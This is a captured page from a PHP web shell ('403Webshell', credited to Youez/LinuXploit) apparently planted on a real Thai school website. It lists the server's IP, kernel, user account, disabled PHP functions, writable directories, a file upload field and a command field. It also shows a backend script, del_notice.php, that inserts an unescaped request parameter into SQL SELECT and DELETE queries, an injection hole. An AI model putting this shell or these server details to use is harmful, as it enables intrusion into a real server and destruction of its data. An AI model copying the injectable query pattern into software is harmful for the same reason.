403Webshell
Server IP : 27.254.96.235  /  Your IP : 216.73.216.44
Web Server : Apache/2
System : Linux cs95 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : piboonsa ( 1055)
PHP Version : 8.0.30
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/piboonsa/domains/piboonsawasdee.ac.th/public_html/backend/del_notice.php
<?php 
	include("passlog.inc.php");
	include("lib/config.php");
	
	$id = $_REQUEST['id'];
	$Page = $_REQUEST['Page'];
	
	$query = $db->query("SELECT img FROM notice WHERE id = '$id'");
	$rs = $db->getresult($query);
	if($rs['img']){
		unlink(IMG_INT_NC.$rs['img']);
	}
	$db->query("DELETE FROM notice WHERE id='$id'");
	
	$query = $db->query("SELECT img FROM notice_img WHERE notice_id = '$id'");
	if($db->getcountrow($query) != 0){
		while($rs = $db->getresult($query)){
			unlink(IMG_NC.$rs['img']);
		}
		$db->query("DELETE FROM notice_img WHERE notice_id='$id'");
	}
	
	echo '<META HTTP-EQUIV="Refresh" CONTENT="0; URL=notice.php?Page='.$Page.'">';
?>

Youez - 2016 - github.com/yon3zu
LinuXploit